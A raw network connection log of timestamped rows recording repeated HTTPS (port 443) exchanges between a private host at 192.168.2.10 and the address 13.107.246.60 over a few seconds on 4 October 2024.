Oct 4, 2024 15:53:56.815820932 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.823419094 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.823510885 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.823544979 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.823607922 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.823884964 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.823894978 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.823937893 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.823942900 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.826666117 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.826704025 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.826767921 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.826921940 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.826932907 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.893615961 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.893692017 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.893796921 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.894666910 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.894666910 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.894686937 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.894696951 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.901050091 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.901089907 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.901161909 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.901479006 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.901489973 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.051347971 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.051377058 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.402218103 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.403429031 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.403479099 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.404129028 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.404134989 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.477385998 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.478497982 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.478517056 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.479015112 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.479021072 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.489264965 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.489789009 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.489813089 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.490266085 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.490272045 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.501543045 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.503767014 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.503840923 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.503851891 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.503880024 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.503933907 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.503977060 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.503992081 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.504000902 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.504007101 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.508497000 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.508534908 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.508558989 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.508749008 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.509341002 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.509355068 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.509380102 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.509407043 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.509821892 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.509829044 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.591715097 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.591877937 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.591922998 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.591927052 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.592586994 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.592611074 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.592626095 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.592632055 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.593602896 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.593651056 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.594363928 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.594369888 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.597106934 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.597141981 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.597275019 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.597395897 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.597404957 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.602883101 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.603110075 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.603173971 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.603552103 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.603573084 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.603589058 CEST	49859	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.603595972 CEST	443	49859	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.606630087 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.606681108 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.606906891 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.607217073 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.607235909 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.616700888 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.616727114 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.616767883 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.616827965 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.616899967 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.617115021 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.617115021 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.617136002 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.617147923 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.620343924 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.620384932 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.620452881 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.620593071 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.620608091 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.702510118 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.703103065 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.703188896 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.703274012 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.703291893 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.703305960 CEST	49860	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.703311920 CEST	443	49860	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.707444906 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.707479954 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:57.708239079 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.708456039 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:57.708473921 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.163796902 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.165412903 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.165431023 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.166210890 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.166218996 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.237740993 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.238836050 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.238851070 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.239706993 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.239712000 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.276206970 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.276366949 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.276477098 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.277173042 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.278537035 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.278537035 CEST	49861	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.278557062 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.278565884 CEST	443	49861	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.280018091 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.280044079 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.280534983 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.280550957 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.281392097 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.282793999 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.282805920 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.283247948 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.283252954 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.295028925 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.295077085 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.295588970 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.297529936 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.297549009 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.349271059 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.349298954 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.349349976 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.349425077 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.349425077 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.349961042 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.349961042 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.349989891 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.350002050 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.356162071 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.356211901 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.356298923 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.356920958 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.356931925 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.363245010 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.364327908 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.364345074 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.364849091 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.364854097 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.379981995 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.380238056 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.380328894 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.380409002 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.380426884 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.380440950 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.380448103 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.385179996 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.385225058 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.385296106 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.385904074 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.385922909 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.388179064 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.388211012 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.388266087 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.388271093 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.388787031 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.388917923 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.388925076 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.388936043 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.388940096 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.399033070 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.399065971 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.399142027 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.399739027 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.399755001 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.473700047 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.473808050 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.473926067 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.525285006 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.525327921 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.525345087 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.525352001 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.594300985 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.594360113 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.595292091 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.595719099 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.595741034 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.976550102 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.991872072 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.991890907 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:58.992394924 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:58.992404938 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.049245119 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.050602913 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.050633907 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.051243067 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.051249981 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.059932947 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.060971022 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.060981989 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.061801910 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.061805964 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.062618971 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.063442945 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.063492060 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.064013958 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.064022064 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.136280060 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.136343002 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.136398077 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.137566090 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.137592077 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.137630939 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.137640953 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.143723965 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.143759012 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.143825054 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.144695997 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.144704103 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.179709911 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.179811954 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.179919004 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.180808067 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.180830956 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.180844069 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.180850029 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.183600903 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.183662891 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.183864117 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.186391115 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.187366962 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.187447071 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.193627119 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.193633080 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.194005966 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.194024086 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.194087029 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.194092989 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.198673964 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.198694944 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.198892117 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.199568987 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.199579954 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.199630976 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.200567007 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.200577021 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.200673103 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.200681925 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.201049089 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.201057911 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.201344967 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.201471090 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.201481104 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.311594009 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.312289953 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.312304020 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.312871933 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.312879086 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.514638901 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.515424013 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.515501976 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.515528917 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.515541077 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.515603065 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.515609980 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.519051075 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.519087076 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.519397020 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.519768000 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.519778013 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.796976089 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.797534943 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.797548056 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.798161983 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.798166037 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.858736038 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.859515905 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.859949112 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.859965086 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.860249043 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.860249043 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.860255003 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.860269070 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.860723019 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.860728025 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.896831989 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.897177935 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.897356987 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.897696972 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.897696972 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.897716045 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.897725105 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.901444912 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.901478052 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.901552916 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.901767969 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.901779890 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.907239914 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.908701897 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.908701897 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.908732891 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.908746958 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.958173037 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.958378077 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.958645105 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.958775043 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.958798885 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.958940029 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.959093094 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.959101915 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.959315062 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:59.959496975 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:59.959496975 CEST	49873	443	192.168.2.10	13.107.246.60
